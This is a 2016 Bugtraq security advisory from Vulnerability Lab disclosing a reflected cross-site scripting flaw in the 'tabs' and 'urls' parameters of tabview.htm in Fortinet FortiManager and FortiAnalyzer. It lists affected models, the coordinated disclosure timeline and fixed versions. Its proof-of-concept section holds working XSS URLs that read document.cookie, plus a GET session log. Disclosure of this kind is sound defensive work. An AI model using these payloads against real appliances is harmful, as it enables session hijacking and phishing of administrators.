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FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Web Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 4 Aug 2016 09:54:25 +0200
Document Title:
===============
FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Web
Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1686
Fortinet PSIRT ID: 1624489
Release Notes 1:
http://docs.fortinet.com/uploaded/files/2861/fortios-v5.2.6-release-notes.pdf
Release Notes 2:
http://docs.fortinet.com/uploaded/files/3075/fortios-v5.4.1-release-notes.pdf
Release Notes 3:
http://docs.fortinet.com/uploaded/files/2889/fortiap-s-v5.4.1-release-notes.pdf
Release Notes 4:
http://docs.fortinet.com/uploaded/files/2499/fortios-5.0.12-release-notes.pdf
Release Date:
=============
2016-08-03
Vulnerability Laboratory ID (VL-ID):
====================================
1686
Common Vulnerability Scoring System:
====================================
3
Product & Service Introduction:
===============================
FortiManager appliances allow you to centrally manage any number of Fortinet
devices, from several to thousands, including FortiGate®, FortiWiFi™,
FortiCarrier™, FortiMail™ and FortiAnalyzer™ appliances and virtual appliances,
as well as FortiClient™ endpoint security agents. You can further
simplify control and management of large deployments by grouping devices and
agents into administrative domains (ADOMs).
The FortiManager family of management appliances provides centralized
policy-based provisioning, device configuration, and update management for
FortiGate, FortiWiFi, and FortiMail appliances, and FortiClient end-point
security agents, plus end-to-end network monitoring and device control.
FortiManager delivers a lower TCO for Fortinet implementations by minimizing
both initial deployment costs and ongoing operating expenses. Control
administrative access and simplify policy deployment using role-based
administration to define user privileges for specific management domains and
functions, and aggregating collections of Fortinet appliances and agents into
independent management domains. In addition, by locally hosting security
content updates for managed devices and agents, FortiManager appliances
minimize Web filtering rating request response time and maximize network
protection.
(Copy of the Vendor Homepage:
http://www.avfirewalls.com/FortiManager-Series.asp )
FortiAnalyzer Network Security Logging, Analysis, and Reporting Appliances
securely aggregate log data from Fortinet Security Appliances.
A comprehensive suite of easily customable reports allows you to quickly
analyze and visualize network threats, inefficiencies and usage.
FortiAnalyzer is one of several versatile Fortinet Management Products that
provide a diversity of deployment types, growth flexibility,
advanced customization through APIs and simple licensing.
(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a non-persistent web
validation vulnerability in the official Fotinet FortiManager & Fortianalyzer
appliance product series.
Vulnerability Disclosure Timeline:
==================================
2016-01-25: Researcher Notification & Coordination (Benjamin Kunz Mejri -
Evolution Security GmbH)
2016-01-26: Vendor Notification (FortiGuard Security Team)
2016-03-12: Vendor Response/Feedback (FortiGuard Security Team)
2016-03-17: Vendor Fix/Patch #1 (Fortinet Service Developer Team)
2016-07-28: Vendor Fix/Patch #2 (Fortinet Service Developer Team)
2016-08-03: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Fortinet
Product: FortiManager - Appliance (Web-Application) 200D, 300D, 1000D, 3900E,
4000E, Virtual Appliances Versio
Fortinet
Product: FortiManager - Appliance (Web-Application) Legacy - 100, 100C, 400A,
400B, 400C, 1000C, 3000C & 4000
Fortinet
Product: FortiAnalyzer - Appliance (Web-Application) 200D, 300D, 1000D, 2000D,
3000E, 3500E, 3900E, VM Base & VM
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the
official Fortinet FortiManager and FortiAnalyzer appliance web-application.
The vulnerability allows remote attackers to inject own script codes to
client-side browser requests of the affected vulnerable web-application context
module.
The vulnerability is located in the `tabs` and `&url` values of the `tabs.htm`
file. Remote attackers are able to inject malicious script codes to the
client-side
of the vulnerable docroot module. The request method to inject is GET and the
attack vector is located on the client-side of the appliance web-application.
the issue
affects the fortimanagaer and the fortianalyzer appliance web-application model
series.
The security risk of the client-side cross site scripting web vulnerability is
estimated as medium with a cvss (common vulnerability scoring system) count of
3.0.
Exploitation of the application-side web vulnerability requires no privileged
web-application user account and low or medium user interaction. Successful
exploitation
of the vulnerability results in non-persistent phishing, session hijacking,
non-persistent external redirect to malicious sources and client-side
manipulation of affected
or connected web module context.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] ./cgi-bin/module/docroot/
Vulnerable File(s):
[+] tabview.htm
Vulnerable Parameter(s):
[+] tabs + &urls
Affected Serie(s): FortiManager
[+] FortiManager 200D
[+] FortiManager 300D
[+] FortiManager 1000D
[+] FortiManager 3900E
[+] FortiManager 4000E
[+] FortiManager Virtual Appliances
[+] FortiMoM-VM
FortiManager Legacy Models
[+] FortiManager 100
[+] FortiManager 100C
[+] FortiManager 400A
[+] FortiManager 400B
[+] FortiManager 400C
[+] FortiManager 1000C
[+] FortiManager 3000C
[+] FortiManager 4000D
Affected Serie(s): FortiAnalyzer
[+] FortiAnalyzer 200D
[+] FortiAnalyzer 300D
[+] FortiAnalyzer 1000D
[+] FortiAnalyzer 2000B
[+] FortiAnalyzer 3000E
[+] FortiAnalyzer 3500E
[+] FortiAnalyzer 3900E
[+] FortiAnalyzer VM Base
[+] FortiAnalyzer VM GB1
[+] FortiAnalyzer VM GB5
[+] FortiAnalyzer VM GB25
[+] FortiAnalyzer VM GB100
[+] FortiAnalyzer VM GB500
[+] FortiAnalyzer VM GB2000
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by
remote attackers without privileged web-application user account and with low
or medium user interaction.
For security demonstration or to reproduce the web vulnerability follow the
provided information and steps below to continue.
PoC: Example(s)
http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=[CLIENT
SIDE CROSS SITE SCRIPTING
VULNERABILITY!]&tabviewid=dvmtabview&ids=fromdvm=1&i=aa
https://fortinalyzer.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=[CLIENT
SIDE CROSS SITE SCRIPTING
VULNERABILITY!]&tabviewid=dvmtabview&ids=fromdvm=1&i=aa
PoC: #1 - Fortimanager
http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB;%27alert%282%29&urls=javascript:alert%282%29&tabviewid=dvmtabview&ids=fromdvm=1&i=aa
http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB&urls=javascript:alert%28document.cookie%29&tabviewid=dvmtabview&ids=fromdvm=1&i=aa
PoC: #2 - Fortianalyzer
https://fortinalyzer.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB;%27alert%282%29&urls=javascript:alert%28document.cookie%29&tabviewid=dvmtabview&ids=fromdvm=1&i=aa
http://fortinalyzer.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB;%27alert%282%29&urls=javascript:alert%28document.cookie%29&tabviewid=dvmtabview&ids=fromdvm=1&i=aa
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB;%27alert(document.cookie)&urls=javascript:alert(document.cookie)&tabviewid=dvmtabview&ids=fromdvm=1&i=aa
Mime Type[text/html]
Request Header:
Host[fortimanager.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101
Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[remoteauth=1; forRevert=0; vmConfirm=1; tabPosition=; showSlave=1;
add_dev_later=; auth_state=;
CURRENT_SESSION=9X3lvcNst3VYkYtkLWMkgMagWkS+Qmdk38eDLl1jE+ZNJ7Dw/9EQlVtauZ98+4+nN5aOe5ixbZGoE/sIrlNbRQ==;
MCP_VIEW_MODE=sectview;]
Connection[keep-alive]
Response Header:
Server[Apache]
X-Frame-Options[SAMEORIGIN]
Keep-Alive[timeout=30, max=185]
Connection[Keep-Alive]
Content-Type[text/html; charset=UTF-8]
Reference(s): #1
http://fortimanager.localhost:8000/
http://fortimanager.localhost:8000/cgi-bin/
http://fortimanager.localhost:8000/cgi-bin/module/
http://fortimanager.localhost:8000/cgi-bin/module/docroot/
http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm
Reference(s): #2
https://fortinalyzer.localhost:8000/
https://fortinalyzer.localhost:8000/cgi-bin/
https://fortinalyzer.localhost:8000/cgi-bin/module/
https://fortinalyzer.localhost:8000/cgi-bin/module/docroot/
https://fortinalyzer.localhost:8000/cgi-bin/module/docroot/tabview.htm
Solution - Fix & Patch:
=======================
Customers can download the update version by automated updates in the
appliances or by manual interaction with the product service panel.
Updates are available for customers in the fortinet customer area or via
automated appliance update.
5.2.6
5.4.1
5.0.12 (TBD)
5.0.12 (FMG)
5.0.13 (FAZ)
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in
the fortianalyzer and fortimanager web-application is estimated as medium.
(CVSS 3.0)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
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